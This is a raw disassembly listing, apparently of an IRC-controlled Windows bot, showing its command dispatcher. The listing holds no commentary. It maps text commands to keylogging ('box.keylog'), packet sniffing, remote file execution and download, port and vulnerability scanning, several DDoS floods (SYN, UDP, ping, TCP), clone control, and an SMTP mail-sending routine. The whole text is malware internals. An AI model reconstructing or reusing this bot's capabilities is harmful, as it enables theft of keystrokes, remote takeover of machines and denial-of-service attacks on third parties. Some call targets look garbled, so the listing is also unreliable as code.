		jz	loc_411493
		push	dword ptr [ebp+10h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411478
		push	dword ptr [ebp+10h]
		push	offset aBox_fl	; "box.fl"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411478
		push	dword ptr [ebp+10h]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41139A
		push	dword ptr [ebp+10h]
		push	offset aEnz_v	; "enz.v"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41139A
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41135F
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41135F
		push	dword ptr [ebp+10h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411314
		push	dword ptr [ebp+10h]
		push	offset aBox_cm	; "box.cm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411314
		push	dword ptr [ebp+10h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41128F
		push	dword ptr [ebp+10h]
		push	offset aBox_rf	; "box.rf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41128F
		push	dword ptr [ebp+10h]
		push	offset aSniff	; "sniff"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB1F
		push	edi
		push	offset aOn	; "on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EAEA
		push	18h
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40EA17
		push	offset unk_435990
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EA17:				; CODE XREF: seg000:0040EA0Bj
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jnz	short loc_40EA59
		mov	esi, offset aSs_0 ; "#ss"
		push	offset byte_438F8C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA59
		mov	esi, [ebp-8Ch]


loc_40EA59:				; CODE XREF: seg000:0040EA3Bj
					; seg000:0040EA51j
		push	esi
		lea	eax, [ebp-4D8h]
		push	80h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-2C8h]
		push	offset unk_43594C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-458h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	4024DCh
		push	ebx
		push	ebx
		call	near ptr 0E1AFFDBCh
		cdq
		mov	ecx, [ebp-458h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40EAD9


loc_40EAC3:				; CODE XREF: seg000:0040EAD7j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40ECA7
		push	32h
		call	ds:dword_421060
		jmp	short loc_40EAC3
; ---------------------------------------------------------------------------


loc_40EAD9:				; CODE XREF: seg000:0040EAC1j
		call	ds:dword_421088
		push	eax
		push	offset unk_4358FC
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EAEA:				; CODE XREF: seg000:0040E9FBj
		push	edi
		push	offset aOff	; "off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECA7
		push	ebx
		push	18h
		call	sub_415174
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB18
		push	eax
		push	offset unk_4358AC
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EB18:				; CODE XREF: seg000:0040EB0Bj
		push	offset unk_435870
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EB1F:				; CODE XREF: seg000:0040E9E6j
		push	dword ptr [ebp+10h]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECD1
		push	edi
		push	offset aOn	; "on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EB9E
		push	edi
		push	offset aFile	; "file"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EB9E
		push	edi
		push	offset aOff	; "off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECA7
		push	ebx
		push	1Ah
		call	sub_415174
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB86
		push	eax
		push	offset unk_435814
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_40EB86:				; CODE XREF: seg000:0040EB79j
		push	offset unk_4357D4


loc_40EB8B:				; CODE XREF: seg000:0040EA12j
					; seg000:0040EB1Dj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_40EB9E:				; CODE XREF: seg000:0040EB45j
					; seg000:0040EB56j
		push	1Ah
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40EBB1
		push	offset unk_4357A0
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EBB1:				; CODE XREF: seg000:0040EBA8j
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile	; "file"
		mov	[ebp-454h], eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBE0
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_40EBE9
; ---------------------------------------------------------------------------


loc_40EBE0:				; CODE XREF: seg000:0040EBD2j
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_40EBE9:				; CODE XREF: seg000:0040EBDEj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40EC10
		mov	esi, offset aSs	; "#ss"
		push	offset byte_438F8C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC10
		mov	esi, [ebp-8Ch]


loc_40EC10:				; CODE XREF: seg000:0040EBF2j
					; seg000:0040EC08j
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-2C8h]
		push	offset unk_43576C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ah
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset loc_4021FB
		push	ebx
		push	ebx
		call	near ptr 1567AF96h
		int	3		; Trap to Debugger
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40EC8C


loc_40EC7A:				; CODE XREF: seg000:0040EC8Aj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40ECA7
		push	32h
		call	ds:dword_421060
		jmp	short loc_40EC7A
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: seg000:0040EC78j
		call	ds:dword_421088
		push	eax
		push	offset unk_43571C


loc_40EC98:				; CODE XREF: seg000:0040EAE5j
					; seg000:0040EB13j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40ECA7:				; CODE XREF: seg000:0040EAC9j
					; seg000:0040EAF9j ...
		cmp	[ebp-8], ebx
		jnz	loc_40D7DD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_40ECD1:				; CODE XREF: seg000:0040EB30j
		push	dword ptr [ebp+10h]
		push	offset aBox_net	; "box.net"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFA2
		cmp	ds:dword_43A438, ebx
		jz	short loc_40ED02
		cmp	ds:dword_43A460, ebx
		jz	short loc_40ED02
		push	offset dword_4356C8
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED02:				; CODE XREF: seg000:0040ECEEj
					; seg000:0040ECF6j
		cmp	[ebp-0Ch], ebx
		jz	loc_40EF6A
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40ED2A
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40ED2A:				; CODE XREF: seg000:0040ED1Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED90
		cmp	[ebp+20h], ebx
		jz	short loc_40ED64
		push	dword ptr [ebp+8]
		push	3


loc_40ED45:				; CODE XREF: seg000:0040EDA6j
					; seg000:0040EDBEj ...
		call	sub_412DCD
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40ED64:				; CODE XREF: seg000:0040ED3Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_413074
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40ED86
		push	offset dword_435690
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED86:				; CODE XREF: seg000:0040ED7Aj
		push	offset dword_43565C
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40ED90:				; CODE XREF: seg000:0040ED39j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDA8
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDA8:				; CODE XREF: seg000:0040ED9Fj
		push	edi
		push	offset aPause	; "pause"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC0
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDC0:				; CODE XREF: seg000:0040EDB7j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDB
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDDB:				; CODE XREF: seg000:0040EDCFj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF6
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40ED45
; ---------------------------------------------------------------------------


loc_40EDF6:				; CODE XREF: seg000:0040EDEAj
		push	edi
		push	offset aShare	; "share"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE73
		cmp	[ebp+20h], ebx
		jz	short loc_40EE46
		cmp	[ebp-9B0h], bl
		jz	short loc_40EE1C
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40EE27
; ---------------------------------------------------------------------------


loc_40EE1C:				; CODE XREF: seg000:0040EE12j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40EE27:				; CODE XREF: seg000:0040EE1Aj
		call	sub_4131B1
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 18h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EE46:				; CODE XREF: seg000:0040EE0Aj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4133A6
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE69
		push	offset dword_435608
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EE69:				; CODE XREF: seg000:0040EE5Dj
		push	offset dword_4355D4
		jmp	loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EE73:				; CODE XREF: seg000:0040EE05j
		push	edi
		push	offset aUser	; "user"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF0F
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40EEE8
		cmp	[ebp-9B0h], bl
		jz	short loc_40EEA9
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEC9
; ---------------------------------------------------------------------------


loc_40EEA9:				; CODE XREF: seg000:0040EE95j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40EEC5
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEC9
; ---------------------------------------------------------------------------


loc_40EEC5:				; CODE XREF: seg000:0040EEBEj
		push	ebx
		push	eax
		push	2


loc_40EEC9:				; CODE XREF: seg000:0040EEA7j
					; seg000:0040EEC3j
		call	sub_4134C7
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 24h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EEE8:				; CODE XREF: seg000:0040EE8Dj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4139DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF08
		push	offset dword_435598
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF08:				; CODE XREF: seg000:0040EEFFj
		push	offset dword_435568
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF0F:				; CODE XREF: seg000:0040EE82j
		push	edi
		push	offset aSend	; "send"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF57
		cmp	[ebp+20h], ebx
		jz	short loc_40EF50
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_413C8F
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		jmp	short loc_40EF6A
; ---------------------------------------------------------------------------


loc_40EF50:				; CODE XREF: seg000:0040EF23j
		push	offset dword_435534
		jmp	short loc_40EF5C
; ---------------------------------------------------------------------------


loc_40EF57:				; CODE XREF: seg000:0040EF1Ej
		push	offset dword_435504


loc_40EF5C:				; CODE XREF: seg000:0040ECFDj
					; seg000:0040ED81j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40EF6A:				; CODE XREF: seg000:0040ED05j
					; seg000:0040ED5Fj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40EF8B
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40EF8B:				; CODE XREF: seg000:0040EF6Dj
					; seg000:00411304j ...
		mov	esi, [ebp+2Ch]


loc_40EF8E:				; CODE XREF: seg000:0040D7E0j
					; seg000:004115DFj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		pop	ecx
		mov	eax, esi
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_40EFA2:				; CODE XREF: seg000:0040ECE2j
		push	dword ptr [ebp+10h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111AB
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41116C
		push	dword ptr [ebp+10h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41116C
		push	dword ptr [ebp+10h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411119
		push	dword ptr [ebp+10h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411119
		push	dword ptr [ebp+10h]
		push	offset aEnz_action ; "enz.action"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411048
		push	dword ptr [ebp+10h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411048
		push	dword ptr [ebp+10h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411009
		push	dword ptr [ebp+10h]
		push	offset aEnz_m	; "enz.m"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411009
		push	dword ptr [ebp+10h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F9E
		push	dword ptr [ebp+10h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F9E
		push	dword ptr [ebp+10h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F1C
		push	dword ptr [ebp+10h]
		push	offset aClone_m	; "clone.m"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F1C
		push	dword ptr [ebp+10h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EAB
		push	dword ptr [ebp+10h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EAB
		push	dword ptr [ebp+10h]
		push	offset aClone_join ; "clone.join"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E85
		push	dword ptr [ebp+10h]
		push	offset aClone_j	; "clone.j"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E85
		push	dword ptr [ebp+10h]
		push	offset aClone_part ; "clone.part"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E22
		push	dword ptr [ebp+10h]
		push	offset aClone_p	; "clone.p"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E22
		push	dword ptr [ebp+10h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D5C
		push	dword ptr [ebp+10h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D5C
		push	dword ptr [ebp+10h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CC1
		push	dword ptr [ebp+10h]
		push	offset aEnz_de	; "enz.de"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CC1
		push	dword ptr [ebp+10h]
		push	offset aDownload_up010 ; "download.up010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B43
		push	dword ptr [ebp+10h]
		push	offset aDownload_010 ; "download.010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B43
		push	dword ptr [ebp+10h]
		push	offset aBox_execute ; "box.execute"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA2
		push	dword ptr [ebp+10h]
		push	offset aBox_e	; "box.e"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA2
		push	dword ptr [ebp+10h]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109A4
		push	dword ptr [ebp+10h]
		push	offset aBox_ff	; "box.ff"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109A4
		push	dword ptr [ebp+10h]
		push	offset aBox_rename ; "box.rename"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410953
		push	dword ptr [ebp+10h]
		push	offset aBox_mv	; "box.mv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410953
		push	dword ptr [ebp+10h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410858
		push	dword ptr [ebp+10h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410858
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aClone_make ; "clone.make"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41076D
		push	dword ptr [ebp+10h]
		push	offset aClone_start ; "clone.start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41076D
		push	dword ptr [ebp+10h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41056A
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41056A
		push	dword ptr [ebp+10h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41042C
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41042C
		push	dword ptr [ebp+10h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410332
		push	dword ptr [ebp+10h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410332
		push	dword ptr [ebp+10h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41023F
		push	dword ptr [ebp+10h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41023F
		push	dword ptr [ebp+10h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41016A
		push	dword ptr [ebp+10h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41016A
		push	dword ptr [ebp+10h]
		push	offset aClone_action ; "clone.action"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410055
		push	dword ptr [ebp+10h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410055
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCFE
		push	dword ptr [ebp+10h]
		push	offset aVvv	; "vvv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCFE
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aPu	; "pu"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aPg	; "pg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F918
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F918
		push	dword ptr [ebp+10h]
		push	offset aUtil_email ; "util.email"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F721
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_415BE0
		push	offset asc_4269C8 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_40998E
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_415BE0
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_43A2E0
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_43A3EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_43A3E8
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	ds:dword_43A368
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A310
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A380
